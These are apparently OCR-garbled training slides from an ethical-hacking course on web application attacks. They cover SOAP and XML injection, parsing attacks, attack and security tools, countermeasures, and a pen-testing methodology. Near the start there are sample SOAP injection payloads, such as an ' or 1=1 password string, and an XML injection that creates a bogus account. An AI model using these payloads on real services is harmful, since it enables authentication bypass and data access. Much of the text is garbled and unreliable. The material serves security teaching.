' http:f/schemas _amilsoap .orgfsoap/ envelope/'s

“EOAMN- CNV:Dodys

= <SOAPSDK 4: GetProdUctinforma tionBy Mame

wmins: SOAPSDES=" htl!_[l:lufll":.laustlapfprnd uctinfo/ >
[=S0aPSDKA: names’ </SOAPSDKA: name: |

<SOAPSDHA: uid=312 - 111 - 3543/ 50APSDHA: uid=

“SOAPSDKA: passwords> 5648+ /S0APSDKE:

password>

</ SOAPSDHE 4: GetProdue tIn forma ti 0 n By Name:=

</ SOAP-ENV: Body=

</SOAP-ENV: Envelope>

EEE e

SRR

Server throws

an error
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«?=o:ml wersion=" |, 0" encoding= “utf-E" =
- <4pap: Envelope xmins: soap="http://schemas.xmisoap.org/soap/ envelope™
srmlns: msi="http:/ fwww w3 org/2001 /XMLSchem = instl'|nee ©
smilng: xsd="hitp:/fweww w3 org/200 I/ EMLUschemlt' >
- <50ap: Body>
<spap:Fault=
sfaultcodessoap:Servers/faultcode»

<faultstring>System. Web Sarvices Pn:ltuv:uls SoapException: server was unable to

Process rEnuest Tsts Sleirh st %ynian svrnr | mising nperatnr| in qoery sspesssion
g like ' ar
ta DlelE 0N i pnd g

mt yyaterm Oots. CleDb. Oleilboe: and DesosteCommandlextioriingle Reacs
afOBPARAMS ||‘.'-I i i, O e o iacite Rira i) at

tal il B ¢ el @ e sl Do Orb st 18 eC i@ Eas u it | @1 Sysvie _Data oD

& mm and L'n:.: 1=AiE adar '\.1.'»-'.'. [Coimmand Behaviar hshawior, String method) at
Systorn Dats Clal b, JleDbcommand Exe r.omm and Beth asior bohawlor) 3t
Systern.Da ta. OleD b Ol eDiees mmnd Exec .-Ln':ﬁﬂ.:uio | ot Froduch late. ProgductDEAccess . Get Product
niorBatien|Siring @ roducthasse, Sring uid, Sy passwaed] at

cifTo, Produclnfa Gt Progedtin ommationB yMarse(Smng name, SiHng wd, Siring passwond |
nnar pateptian itack trate == Faultitring>
adietail />
4[snap: Fauks
</s08p : Body>

<fs0ap: Envelopes

End of
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Web Service Attacks: SOAP
Injection

J  Attacker injects malicious query strings in the user input field to bypass
web services authentication mechanisms and access backend databases

o This attack works similarly to SQL Injection attacks

http:/ fwww jugeyboy.comfws/products.asmx

O

Account Login

Lsername L %

R

p—
Password | ori=laorbish= ]

Submit

R P T PR LR e
<7xml versicn= " 1.0" encoding= "DTF-8' atandalone= ‘'no"F>

- <BEAP-ENV:Envelopa smlna: SOAPSDEl="http:/ wew.wd. ocg/2001 /S chens *
xmlins: BOAFSDEZ=' http:/f/wew.wl.org/2001/ DHLSchema - instance’

xmlna: BOAFSDE3=' http://schemas.xmlsoap.org/scapfencoding/' xmins:
SOAFENV="http: /fachomas .xmlscap.org/socap Ianvalopal >

= <BOAF-ENV:Body>

— <BOAFEDEA : GatFroductlnformationByNama

¥mlins: BOAFSDH4=' http:// juggvboy/Froductlnfo [f»

<EBEOATIDNA: nama>% < SOAPEDE4L: nama’

<BOAFSDE4: wnid>312 - 111 - AS43</SCAPEDHM: uid>

<EOAFSDEA: password>’ or 1= 1 or blah = "</SOAPESDKA: password:>

< fSOAFSDE 4@ GetProductinformaticnByHame> </SOAP-ENV:Body>

</B0OAF- ENV ! Envalopal

EEE RS AN ARSI A IR AR
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Server Response

<7xm] version="1.0" encoding="utf-B8' 7>

- <s0ap: Envelope xmlns: soap='""http://schemas
.xml soap.org/scap/envelope/”

xmins: xs3i ="http: //www w3 .org/2001/XMLSchema-—
instance’

mmlns: xsd="http://www w3 .org/2001/XMLSchema’>
— <soap:Body>

- <GetProductlnformationByNameResponse
mlns="http://juggyboy /ProductInfo/">

- <FetProductlnformationByNameResultit>
<productids 25 </productids>

<product Name >Paintingl0l</productName >
<productfuanti ty>=3</productfuanti ty>
<productPrice> 1500</productPrice>

</ GetProductlnformationByNameResul t>

</ GetProductlnformationByHameResponses

</soap: Body>

</soap: Envelope>




Web Service Attacks: XIVIL
Injection

Attackers inject XML data and tags into user input fields to manipulate
XML schema or populate XML database with bogus entries

XML injection can be used to bypass authorization, escalate privileges,
and generate web services DoS attacks

Server Side Code

<%xml version="1.0" encoding="I50-885%-1"7?>
7 <uscrs>
Accaunt Login | <user>
<nsername>gandalf</username’>
R, <password>!ci</password>

Gy Username | Mark <userid>101</userid>

<mail>gandal fEmiddleearth. com</mail>
</user>
Password | 12345 <user>
= <nsername>Mark</usernamal
r <password>12345</password>

E-mail | Submit <userid>102</userid>
h €mail>gandal FEmiddlesarth . com</mail>
. <fuser>

> e i :. <userxr :
! mark@certifiedhacker.com</mail= </user= : T e N Sp—— : i

E‘:L;EET-':" {USErrlﬂme-':‘JESI:r'-I{.-"USErr'lEIlTIE:'-' : {pasgwn:j_“}a‘.:,t..:k{.-"Pa_gs'.'Drd_} :f"___ }
<password>attack</password> : fusefiq,una:?_jser;’di By ey
<userid=105</userid><mail>jason@juggyboy.c i Equsei‘u‘ SRRARE T L

:I}r'ﬁ:- : <lllﬂ|;:g‘lé£;.}lll'lllllllll.llll-'lllllllllIllIllll-'llllll-

L N R R R R L]

user account
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Web Services Parsing Attacks

Parsing attacks exploit vulnerabilities and weaknesses in the processing
capabilities of the XML parser to create a denial-of-service attack or
generate logical errors in web service request processing

Recursive Payloads Oversize Payloads

Attacker queries for web services Attackers send a payload
with a grammatically correct that is excessively large to
SOAP document that contains consume all systems
infinite processing loops resources rendering web
resulting in exhaustion of XML services inaccessible to
parser and CPU resources other legitimate users
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Web Service Attack Tools: SoapUl
and XMLSpy

SoapUI

J SpapUl is a web service testing tool which supports multiple
protocels such as SOAP, REST, HTTP, JMS, AMF, and JDBC

- Attacker can use this tool to carry out web services probing,
SOAP injection, XML injection, and web services parsing attacks
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XMLSpy

Altova XMLSpy is the XML editor and
development environment for modeling,
editing, transforming, and debugging XML-
related technologies
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Web Application Hacking Tool:
Burp Suite Professional

p Suite is an integrated platform for performing security testing of web applications

burp suite free edibon v1.4.01
burg lUdeE fRORDIEl Window GEoUT
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woe N v
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comment
o | 200 I 7777 110443 |passling request
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Web Application Hacking Tool:
CookieDigger

CookieDigger helps identify
weak cookie generation and
insecure implementations of
session management by web
applications

It works by collecting and
analyzing cookies issued by a
web application for multiple
Users

The tool reports on the
predictability and entropy of the
cookie and whether critical
information, such as user name
and password, are included in the
cookie values
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Web Application Hacking Tool: ClEH
WebScarab

- WebScarab is a framework for analyzing applications that communicate using the HTTP and HTTPS protocols

- It allows the attacker to review and modify requests created by the browser before they are sent to the server,
and to review and modify responses returned from the server before they are received by the browser

£ WebScarab -|0of x|
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. Web Application Hacking Tools

-

HaCkRhInO-TeaM

Instant Source
http:/fwna blazingtools.com

w3af
http:/fw3af.org

GNU Wget

WAL gL Org

BlackWidow
http:/fsoftbytelohs.com

cURL

http:/feurl haxx. se
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HttpBee

http:/fwww.olo.nu

Teleport Pro

hittp:/fuwwwtenmax.com

WebCopier

http:ffwww. maximumsaft.com

HTTTrack

http:fwww httrack.com

MileSCAN ParosPro

http:ffwww.milescan.com
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Methodology Testing
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Application Lt Counter-
Hacking . measure
Tools r
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Encoding Schemes a3,

Corilfiad § Eibical Hachaor

Web applications employ different encoding schemes for their data to safely handle unusual
characters and binary data in the way you intend

Types of Encoding Schemes

URL encoding is the process of converting URL into valid ASCIl farmat so that data can be safely
transported over HTTP

URL encoding replaces unusual ASCIl characters with "%" followed by the character’s two-digit ASCII
code expressed in hexadecimal such as:

%3d =
%0a New line

%20 space

An HTML encoding scheme is used to represent unusual characters so that they can be safely
combined within an HTML document

It defines several HTML entities to represent particularly usual characters such as:
Eamp; &
&lt: <

&gt >
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Encoding Schemes
(Cont’d)

Unicode Encoding

16 bit Unicode
Encoding

© |t replaces unusual Unicode
characters with "%u"
followed by
the character’s Unicode
code point expressed in
hexadecimal

> %u2215 /
UTF-8

& It is a variable-length
encoding standard which
uses each byte expressed in
hexadecimal and preceded
by the % prefix

# %e2%a9

7 %e2%89%a0l

e

—

Base64 Encoding

Baseb4 encoding scheme
represents any binary data
using

only printable ASCII
characters

Usually it is used for
encoding email attachments
for safe transmission

over SMTP and also used for
encoding user credentials

Example:

cake =
011000110110000101101011
01100101

Baseb4 Encoding: 011000
110110000101 101011
011001 010000 000000
000000

| ) Hex Encoding

2 HTML encoding
scheme uses hex
value of every
character to
represent a collection
of characters for
transmitting binary
data

2 Example:

Hello A125C458D8
Jason 123B684ADS
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How to Defend Against SOL
Injection Attacks

Always use method attribute set to POST
Limit the length of user input and low privileged account for DB
connection
T —

Run database service account with

Use custom error messages i :
minimal rights

Move extended stored procedures to an

Meonitor DB traffic using an IDS, WAF ,
isolated server

S —
Use typesafe variables or functions

Disable commands like xp_cmdshell such as IsNumeric() to ensure
typesafety

S ——

Validate and sanitize user inputs

Isolate database server and web server
passed to the database
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How to Defend Against Command
Injection Flaws

Perform input validation

Use language-specific libraries that
avoid problems due to shell
commands

Use a safe APl which avoids the use
of the interpreter entirely

Use parameterized SQL queries

Escape dangerous characters

Perform input and output encoding

Structure requests so that all supplied
parameters are treated as data, rather
than potentially executable content

Use modular shell disassociation
from kernel
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How to Defend Against XSS
Attacks

Validate all headers, cookies, query
strings, form fields, and hidden fields
(i.e., all parameters) against a rigorous
specification

Use a web application firewall to block
the execution of malicious script

Encode Input and output and filter Meta
characters in the input

Filtering script output can also defeat XS5
vulnerabilities by preventing them from
being transmitted to users

Use testing tools extensively during the
design phase to eliminate such X55 holes
in the application before it goes into use

Convert all non-alphanumeric characters
to HTML character entities before
displaying the user input in search
engines and forums

Do not always trust websites that use
HTTPS when it comes to XSS

Develop some standard or signing scripts
with private and public keys that actually
check to ascertain that the script
introduced is really authenticated
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How to Defend Against DoS Attack

Configure the firewall to deny external Internet Control Message Protocol (ICMP)
traffic access

Secure the remote administration and connectivity testing

Prevent use of unnecessary functions such as gets, strcpy, and return addresses
from overwritten etc.

Prevent the sensitive information from overwriting

Perform thorough input validation

Data processed by the attacker should be stopped from being executed
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How to Defend Against Web
Services Attack

Configure WSDL Access
Control Permissions to
grant or deny access to
any type of WSDL-based
SOAP messages

Deploy web services-
capable firewalls capable
of SOAP and ISAPI level
filtering

Implement centralized in-
line requests and responses
schema validation

8

Use document-centric
authentication
credentials that use
SAML

Configure firewalls/IDS
systems for a web
services anomaly and
signature detection

Block external
references and use pre-
fetched content when
de-referencing URLs

9

Use multiple security
credentials such as
X.509 Cert, SAML
assertions and WS-
Security

Configure firewalls/IDS
systems to filter
improper SOAP and
XML syntax

Maintain and update
a secure repository
of XML schemas
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Guidelines for Secure CAPTCHA
Implementation

The client should not have direct access to the CAPTCHA solution

No CAPTCHA reuse and present randomly distorted CAPTCHA image of text to the user

Use a well-established CAPTCHA implementation such as reCAPTCHA instead of creating
your own CAPTCHA script and allow users to choose an audio or sound CAPTCHA

Warp individual letters so that OCR engines cannot recognize them

Include random letters in the security code to avoid dictionary attacks

Encrypt all communications between the website and the CAPTCHA system

Use multiple fonts inside a CAPTCH to increase the complexity of OCR engines to
solve the CAPTCHA
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Web Application Attack
Countermeasures

Unvalidated Redirects
and Forwards

& Avoid using redirects and Use SSL for all authenticated
forwards Te b parts of the application

If destination parameters : Verify whether all the users’
cannot be avoided, ensure that ' identities and credentials are
the supplied value is valid, and : : stored in a hashed form

authorized for the user Never submit session data as

part of a GET, POST

Cross-Site Request : . Insecure Cryptographic
Forgery Storage

2 Logoff immediately after using a web = Do not create or use weak

application and clear the history cryptographic algorithms

Do not allow your browser and Generate encryption keys
websites to save login details offline and store them securely

= Check the HTTP Referrer header and Ensure that encrypted data
when processing a POST, ignore URL : stored on disk is not easy to
parameters decrypt
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Web Applic atlon Ettack
Ceunterme asures (Contd) APAEE

Insufficient Transport Layer Protection

Z Non-5SL requests to web pages should be redirected to the S5L page
Set the ‘secure’ flag on all sensitive cookies
Configure S5L provider to support only strong algorithms

Ensure the certificate is valid, not expired, and matches all domains used by the site

Backend and other connections should also use SSL or other eneryption technologies

VAV

Define access rights to the protected areas of the website ‘
2 Apply checks/hot fixes that prevent the exploitation of the vulnerability

such as Unicode to affect the directory traversal v
Web servers should be updated with security patches in a timely manner

vAv Cookie/Session Poisoning
‘v Do not store plain text or weakly encrypted password in a cookie

Implement cookie's timeout
Cookie's authentication credentials should be associated with an IP addrezs

Make logout functions available
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Web Application Attack
Countermeasures (Contd)

Security
Misconfigu-
ration

Configure all security
mechanisms and turn off all
unused services

Setup roles, permissions,
and accounts and disable all
default accounts or change
their default passwords

Scan for latest security
vulnerabhilities and apply the
latest security patches

HaCkRhInO-TeaM

LDAP
Iinjection
Attacks

. Perform type, pattern, and
domain value validation on
all input data

: Make LDAP filter as specific
as possible

2 Validate and restrict the
amount of data returned to
the user

= Implement tight access
control on the data in the
LDAP directory

' Perform dynamic testing and
source code analysis

HaCkRhInO-TeaM

Strongly validate user input

: Consider implementing a

chroot jail

- PHP: Disable allow _url_fopen

and allow_url_include in
php.ini

PHP: Disable register_globals
and use E_STRICT to find
uninitialized variables

PHP: Ensure that all file and
streams functions (stream_*)
are carefully vetted
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How to Defend Against Web
Application Attacks

Configure the firewall (=

C = o Perform ' to deny external -
“o " inputvalidation = . ICMP traffic access > =
EEIEEEAENNEANEENENER DN LA AA R R R L R RN LR X
; / | ot ;.:"

Use WAF Firewall
/105 and filter packets

Attacker Legin Form Internet

.7 Connect to the database

" using non-privileged account | = I
{libli-li-ii--i-illihih-li-iljhi-il-ill-.-illi-.-hl-l - Aﬂﬂiwethesﬂjr{‘e
< Use stored procedures " code for SOL injection

Sy
o ardd paemmicter queties q
= Minimize use of 3rd
q.llll.llﬂlIIIIIIIIIII-IlIllllllllllillilllilllli|

o7 Grant least privileges to the party apps !
" database, tables, and columns Web Application Sanitize and filter
: - user input

Disable commands like Perform dynamic testing
xp_cmdshell and source code analysis '

T :
= x\'/ . O
= ' :
= S 4
Make LDAP filter Disable verbose error
as specific as possible messages and use custom
Error pages ;
Operating System LDAP Server Custom krror Page
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IModule Flow

Web App
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Web App
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H _ \\/N Hacking ' 2 Pen
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Application © Counter-
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Web Application Security Tool:
Acunetix Web Vulnerability Scanner
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CEH

Cortiffed § Evhlesl Hachar

Acunetix WVS checks web applications for SQL injections, cross-site scripting, etc.

It includes advanced
penetration testing tools,
such as the HTTP Editor and
the HTTP Fuzzer

Port zcansz a web server and
runs security checks against
network services

Tests web forms and
password-protected areas

It includes an automatic client
script analyzer allowing for

security testing of Ajax and
Web 2.0 apps
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Web Application Security Tool:
Watcher Web Security Tool

Watcher is a plugin for the that passively audits a web application
to find security bugs and compliance issues automatically
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Web Application Security Tool:
Netsparker

J  Netsparker performs automated comprehensive web application
scanning for vulnerabilities such as SQL injection, cross-site scripting,
remote code injection, etc.

It delivers detection, confirmation, and exploitation of vulnerabilities
in a single integrated environment
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Web Application Security Tool: N-5Stalker
Web Application Security Scanner

N-Stalker Web Application Security Scanner is an effective suite of web security
assessment checks to enhance the overall security of web applications against
a wide range of vulnerabilities and sophisticated hacker attacks

It contains all web security assessment & —
checks such as:

& (Code injection
& Cross-Site scripting
€ Parameter tampering

& Web server vulnerabilities

&
High ity K&l @) Low @ ofoiT)

et E
Telal Sequasts L By Senl 1M
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abyii Soa 2% Sy Rensanas T Gk
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Web Application Security Tool:
VampireScan

VampireScan allows users to test their own Cloud and Web applications for basic attacks
'&\ and receive actionable results all within their own Web portal
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. Web Application Security Tools

Syhunt Mini - Websecurify

http:/fwn syhunt.com hittp:/fuwwwwebsecurify.com

=

e

OWASP ZAP ¢80 NetBrute

http:/fwunw owaspoorg http:/fuwwwrowlogic.com

skipfish BN s

http:/feode.google.com ' http:/fwww.casaba.com

SecuBat Vulnerability Scanner WSSA - Web Site Security

http:/fsecubat.codeplex.com : _ Audit
T e http:/fwww. beyondsecurity.com

SPIKE Proxy o Ratproxy

http:/fwan immunitysec. com : | http:/fcode.google. com
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Web Application Security Tools

(Cont’d)

Wapiti an Syhunt Hybrid

http://wapiti.sourceforge.net / http:/fwwnasyhunt.com

WebWatchBot : Exploit-Me

http:/fwan exclamationsoft.com | | http://Tabs.securitycompass.com

KeepNI ! | WSDigger

http: /S keepni.com 1 http:/fuwww.meafee.com

Grabber Arachni

http:/fraaucher.info " http:/farachni-sconner.com

XSSS oml  Vega

http:fwaan sven.de Car http: S www.subgraph.com
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Web Application Firewall:
dotDefender

dotDefender is a software .
based Web Application R e e e |
Firewall A AN UL B

 [fl S wewe Gl d tDefender "§i
It complements the 31 W) et Infmanen Sarvcs

network firewall, IPS and A G Gatings

Dwimd? Sponrty Frofie (Frofes h’_
other network-based [oraber, SGL Injection

Fatiorma

Internet security W (@ Wevelt Pemtind

4 Painwga]

products o e S Suspect Single Quote (Safe)

It inspects the B Pattern = Pattem
HTTP/HTTPS traffic for ¢ i e e SO Commert
suspicious behavior

It detects and blocks SOL

injection attacks : (2 P Cross e St
E [ St / 'Select Yersion' Statement

M Gir fassll

SQL Commeants

‘Unton Select’ Statement

Akwra FTF Site (U O ()

S0L CHAR Typse

S0L SYS Commands

|5 SRVROLEMEMBER followed by (

M5 SOL Specific SOL Injection

http://www.applicure.com
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Web Application Firewall: clEH
ServerDefender VP oot e

ServerDefender VP Settings Manager

Fie Configure Help

ServerDefender VP serverdefender VP port80

Web application

¢ Default Web Sie (Custom)

firewall is designed o (@ e Qe (@ o Tt s
to provide security i R e T e T
against web Comaon Trests

attacks

| Block SOL Imjeciion
[ Block: Croms Sibe Scripting (¥55) Ao sanitzed HTML

;, [ !H ii‘w’l\N\‘i Gererc Input Sanitiza tion

Hone

* Momum  [08, 14, 12, 1431, 127, 175-223, 155)

i} Esdmnidad [- = -_, + Mawmum

Paranoad  [1. *, °. & : ] + Extendod

Sairaten Achor! Deny and Log
hittp:/fwwnw_ portB0software. com

Activate |
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. Web Application Firewall

Barracuda Web Application

Firewall
https./Avwanw barracuda. com

Radware’s AppWall

http:/fwun radware.com

ThreatSentry —1! SteelApp Web App Firewall

http:/fwaan privacyware.com ir - http:/ /v riverbed. com

QualysGuard WAF IBM Security AppScan

http:fwasnw qualys. com . ' http:Swnaibm.com

Trustwave Web Application

Firewall
https:/fwww. trustwave.com

ThreatRadar

httpe/fwasn imperva.com

Cyberoam’s Web Application

Firewall
http:/ v cyberoam.com

ModSecurity

http:/fwaane modsecurity.org

Copyright © by EG-Eomneil. All Rights Reserved. Reproduction is Strictly Prohibited.

HaCkRhIn0-TeaM /dé kript/ by HaCkRhInO-TeaM HaCkRhIn0O-TeaM




IModule Flow

Web App
Concepts

Hacking
Methodology

Web
Application © Counter-
Hacking measures
Tools r
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Web Application Pen Testing

Web application pen testing is used to identify, analyze, and report vulnerabilities such as input validation,
buffer overflow, SQL injection, bypassing authentication, code execution, etc. in a given application

The best way to perform penetration testing is to conduct a series of methodical and repeatable tests, and
to work through all of the different application vulnerabhilities

Identification of Ports

m ' Scan the ports to identify the associated
running services and analyze them
through automated or manual tests
to find weaknesses

Why Web
Application

. g . Pen
Remediation of Vitisrsyt b\ : Verification of Vulnerahilities

TID rEt?]t. th:: solyies tlgi"']ts't ' To exploit the vulnerability in
vuinerability Lo CHSHEE S A order to test and fix the issue

completely secure _ _&
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Web Application Pen Testing ClEH

 START @

(Cﬂnt 1{1) Certified || Erhicai Macker

o
o

v
v
v

- Document a
the Findings
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Information Gathering

Perform search engine
reconnaissance

v

Identify application
entry points

A4

Identify the web
applications

v
Analyze the O/P from
HEAD and OPTIONS
http requests

Allowed and disallowed
s directories

Issues of web application
L structure, error pages
produced

Cookie information, 300

sesnsensnsnidp  HTTP and 400 status codes,

LS00 internal server errors

Web applications, old
versions of files or artifacts

Web server software
LU wersion, scripting
environment, and 05 in use

Retrieve and analyze robots.txt file
using tools such as GNU Wget

Use the advanced "site:"” search
operater and then click "Cached”
to perform search engine
reconnaissance

Identify application entry points
using tools such as Webscarab,
Burp proxy, OWASP ZAP,
TamperlE (for Internet Explorer),
or Tamper Data (for Firefox)

To identify web applications: probe
for URLs, do dictionary-style
searching (intelligent guessing)
and perform vulnerability scanning
using tools such as Nmap (Port
Scanner) and MNessus

Implement technigues such as
DNS zone transfers, DNS inverse
queries, web-based DNS searches,
querying search engines (googling)
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Information Gathering
(Cont’d)

Software versions, details
of databases, bugs, and
technological components

Web application
environment

Provide clues as to the
underlying application
environment

Web application services
and associated ports

Copyright © by EG-Eomneil. All Rights Reserved. Reproduction is Strictly Prohibited.

Analyze error codes by requesting invalid
pages and utilize alternate request
metheds (POST/PUT/Other) in order to
collect confidential information from the
server

Examine the source code from the
accessible pages of the application front-
end

Test for recognized file
types/extensions/directories by requesting
commeon file extensions such as .ASP, .HTM,
.PHP, .EXE, and watch for any unusual
output or error codes

Perform TCP/ICMP and service
fingerprinting using traditional
fingerprinting tools such as Nmap and
Queso, or the more recent application
fingerprinting tool Amap




Configuration Management
Testing

Disclosure of confidential
information

Source code of the
application

Information in the source
code, log files, and default
error codes

Confidential information
about access credentials

Source code, installation
paths, passwords for
applications, and databases

Perform infrastructure
configuration management
testing

Y
Perform application
configuration management
testing

Y

Test for file extensions
handling

\ 4
Verify the presence of old,

backup, and unreferenced
files

Identify the ports associated to S5L/TLS wrapped services using Nmap
and Messus

Perform network scanning and analyze the web server banner

Test the application configuration management using CGl scanners and
reviewing the contents of the web server, application server, comments,
configuration and logs

Use vulnerahility scanners, spidering and mirroring tools, search engines
queries or perform manual inspection to test for file extensions handling

Review source code, enumerate application pages and functionality

Perform directory and file enumeration, reviewing server and application
documentation, etc. to test for infrastructure and application admin
interfaces

Review OPTIONS HTTP method using Metcat or Telnet

Test for HTTP methods

Credentials of
and X5T legitimate users

A

Test for infrastructure Admin interfaces can be

and application admin | found to gain access to

interfaces admin functionality
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Authentication Testing

HaCkRhInO-TeaM

rlllllllll}-

Passwords,
authentication
weakness

Authentication
vulnerabilities

Authentication
vulnerabilities

Multiple factors
authentication
vulnerabilities

Race conditions

Copyright © by EG-Eomneil. All Rights Reserved. Reproduction is Strictly Prohibited.
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Try to reset passwords by guessing, social
engineering, or cracking secret questions, if
used. Check if "remember my password"
mechanism is implemented by checking the
HTML code of the login page.

Check if it is possible to “reuse” a session
after logout. Also check if the application
automatically logs out a user when that user
has been idle for a certain amount of time,
and that no sensitive data remains stored in
the browser cache.

Identify all parameters that are sent in
addition to the decoded CAPTCHA value from
the client to the server and try to send an old
decoded CAPTCHA value with an old
CAPTCHA ID of an old session ID

Check if users hold a hardware device of some
kind in addition to the password. Check if
hardware device communicates directly and
independently with the authentication
infrastructure using an additional
communication channel.

Attempt to force a race condition, make
multiple simultaneous requests while
observing the outcome for unexpected
behavior. Perform code review.

HaCkRhInO-TeaM




Session Management Testing

Collect sufficient number of cookie
samples, analyze the cookie generation
algorithm and forge a valid cookie in order
to perform the attack

@) sTarT

Cookie tampering results in
Management | iy s hijacking the sessions of
echema legitimate users Test for cookie attributes using intercepting

proxies such as Webscarab, Burp proxy,
OWASP ZAP, or traffic intercepting
browser plug-in's such as "TamperlE" (for

Test forsoclde LLLL CET Erche inbonnstinnda IE) and "Tamper Data"(for Firefox)

attributes hijack a valid session

To test for session fixation, make a request
V to the site to be tested and analyze
vulnerabilities using the WebScarab tool
Nk ; Attacker could steal the : :
e S LT R > : : Test for exposed session variables by

T user session (session : ; : :
fixation hijacking) inspecting encryption & reuse of session

- token, proxies & caching , GET & POST, and

v transport vulnerabilities

Ciabienial nteahaar Examine the URLs in the restricted area to

session token leads to a test for CSRF
replay session attack

Test for exposed
session variables

. 4 &
Test for CSRF (Cross Compromises end user data @
Site Request ==  and operation or entire

Forgery) web application Py
= =
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Authorization Testing

Testforpath YRR T T Test for Patl? traversal by
traversal reserved information performing input vector
enumeration and

analyzing the input
validation functions

Can gain illegal access to present in the web
reserved functions/ applitatiﬂn
resources

Test for bypassing
authorization schema by
examining the admin
functionalities, to gain
access to the resources
assigned to a different
role

Bk e > use web spidering
tools

Access to resources Test for role,"privilege

el Lt »  [functionality allowing a manipulatinn
privilege escalation attack
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Data Validation Testing

Session cookie
information

Sensitive information
such as session
authorization tokens

Cookie information

Information on DOM-
based cross-site
scripting vulnerabilities

Database information

Test for stored
cross-site scripting

Y
Test for DOM-based
cross-site scripting

Y

Test for cross site
flashing

\ 4

Perform SQL
injection testing

Detect and analyze input vectors for potential vulnerabilities, analyze the
vulnerability report and attempt to exploit it. Use tools such as OWASP CALS000,
WebScarab, X55-Proxy, ratproxy, and Burp Proxy

Analyze HTML code, test for Stored X55, leverage Stored X55, verify if the file
upload allows setting arbitrary MIME types using tools such as OWASP CAL9000,
Hackvertor, X55-Proxy, Backframe, WebScarab, Burp, and X55 Assistant

Perform source code analysis to identify Javascript coding ermors

Analyze SWF files using tools such as SWFIntruder, Decompiler - Flare, Compiler
- MTASC, Disassembler - Flasm, Swimill, and Debugger Version of Flash
Plugin/Player

Perform Standard SCL Injection Testing, Union Guery S0L Injection Testing,
Blind SOL Injection Testing, and Stored Procedurs Injection using tools such as
OWASP SOLIX, sgininja, SqiDumper, SOL Power Injector, etc.

Use a trial and ermor approach by inserting (', '|', '&", "*" and the other
characters in order to check the application for errors. Use the tool Softerra
LDAP Browser

Sensitive information /g ;J

about users and hosts ,—;;ﬁ

A

Perform LDAP
injection testing
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Data Validation Testing

Perform ORM
injection testing

f —— | LS

(SEELEITEDy 3

.....).

Information on SQOL
injection vulnerability

Information about
XML structure

Web server CGI
environment variables

Access confidential
information

Access to the backend
mail server

(Cont’d)

Discover vulnerabilities of an ORM
tool and test web applications that use
ORM. Use tools such as Hibernate
ORM, Nhibernate, and Ruby On Rails

Try to insert XML metacharacters

Find if the web server actually
supports 55l directives using tools
such as Web Proxy Burp Suite, OWASP
ZAP, WebScarab, String searcher: grep

Inject XPath code and interfere with
the query result

Identify vulnerable parameters.
Understand the data flow and
deployment structure of the client,
and perform IMAP/SMTP command
injection

101010 |

010101
101
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Data Validation Testing

(Cont’d)

Inject code (a malicious URL) and perform
Input validation source code analysis to discover code
errors injection vulnerabilities

Perform manual code analysis and craft
malicious HTTP requests using | to test for

05 command injection attacks
Perform OS Local data and :

commanding system information Perform manual and automated code
% analysis using tools such as OllyDbg to
v detect buffer overflow condition

Stack and heap memory Upload a file that exploits a component in
""""" »  information, application the local user weorkstation, when viewed or
control flow downloaded by the user, perform X55, and
SQOL injection attack

Perform buffer
overflow testing

v

Identify all user controlled input that
influences one or more headers in the
response, and check whether he or she can
successfully inject a CR+LF sequence in it

Server configuration
""""" > andin put validation
schemes

Perform incubated
vulnerability testing

w

Test for HTTP » Cookies, and HTTP
splitting/smuggling redirect information
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wildcard attacks

Application
information

Login account
information

Buffer overflow
points

Maximum number of
objects that application
can handle

Craft 2 query that will not return a result and
includes several wildcards. Test manually or
employ a fuzzer to automate the process

Test that an account does indeed lock after a
certain number of failed logins. Find places
where the application discloses the difference
between valid and invalid logins

Perform a manual source code analysis and
submit a range of inputs with varying lengths
to the application

Find where the numbers submitted as a
name/value pair might be used by the
application code and attempt to set the value
to an extremely large numeric value, then see
if the server continues to respond
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Denial-of-Service Testing
(Cont’d)

Enter an extremely large number in

- Logical errors in an the input field that is used by

application application as a loop counter

Use a script to automatically submit
an extremely long value to the server
in the request that is being logged

Write user provided > Local

data to disk il palssasn Identify and send a large number of

requests that perform database
operations and observe any
: slowdown or new error messages
v
Create a script to automate the

Test for proper PO Prcgramming flaws creation of many new sessions with
release of resources the server and run the request that is
suspected of caching the data within
the session for each one

4

Test for storing too L...4..» Session management j 5[ _
much data in session errors
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. Web Services Testing

Information of UDDI c To gather WS information use tools such as wsChess, Soaplite, CURL, etc. and
r
WSDL. SOAP. and UBR online tools such as UDDI Browser, WSIindex, and Xmethods
¥ ’

Use tools such as WSDigger, WehScarab, and Foundstone to automate web
services security testing

Pass malformed SOAP messages to XML parser or attach a very large string to
the message. Use WSDigger to perform automated XML structure testing

WSDL entry points (ELE Uise web application vulnerability scanners such as WehScarab to test XML
content-level vulnerabilities

& Pass malicious content on the HTTP GET strings that invoke XML applications

Craft an XML document (S0OAP message) to send to a web service that contains
malware as an attachment to check if XML document has SOAP attachment
XML parser e e e e e iy vulnerability

. ' Attempt to resend a sniffed XML message using Wireshark and WehScarab

Information about SQL,
XPath, buffer overflow, ; FPerform replay Information about

and command injection ; MITM vulnerability
vulnerabilities

HTTP GET/REST Test HTTP GET Test Naughty SOAP S0AP message
attack vectors : : information
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AJAX application call
endpoints

XMLHttpRequest object,
JavaScript files, AJAX
frameworks

Parse the HTML and
JavaScript files

v

Use a proxy to R > Format of application
observe traffic requests

Enumerate the AJAX call endpoints for the asynchronous calls using tools such as Sprajax
Observe HTML and JavaScript files to find URLs of additional application surface exposure

Use proxies and sniffers to observe traffic generated by user-viewable pages and the background
asynchronous traffic to the AIAX endpoints in order to determine the format and destination of the requests
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Web Application Pen Testing
Framework: Kali Linux

@ Kali Linux is an advanced penetration testing and security auditing Linux distribution
|

€ |t contains more than 300 penetration testing tools

Applicatipns Places r A Wed Jun 11, 313 PM

http://www.kah.org

Copyright © by EG-Eomneil. All Rights Reserved. Reproduction is Strictly Prohibited.




Web Application Pen Testing
Framework: Metasploit

The Metasploit Framework is a penetration testing toolkit, exploit development platform,
and research tool that includes hundreds of working remote exploits for a variety of platforms

z It helps pen testers to verify vulnerabilities and manage security assessments

| F Maspini - Modulis

& & & lacalhed

@ r_qgﬁagploit'

Medsles

Search Modules

Fenind 10 manzhing modulis

Hiaduls Tusa [+ bhzduis o bzaars Dabs Lhadiis Hanaing Ve no [l o) {=0:]

http://www.metasploit.com
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Web Application Pen Testing Framework: c E H
Browser Exploitation Framework (BeEF)

Cortiied § Fikiial HWasker

The Browser Exploitation Framework (BeEF) is an open-source penetration testing tool used to test and
exploit web application and browser-based vulnerabilities

BeEF provides the penetration tester with practical client side attack vectors and leverages web application
and browser vulnerabilities to assess the security of a target and carry out further intrusions

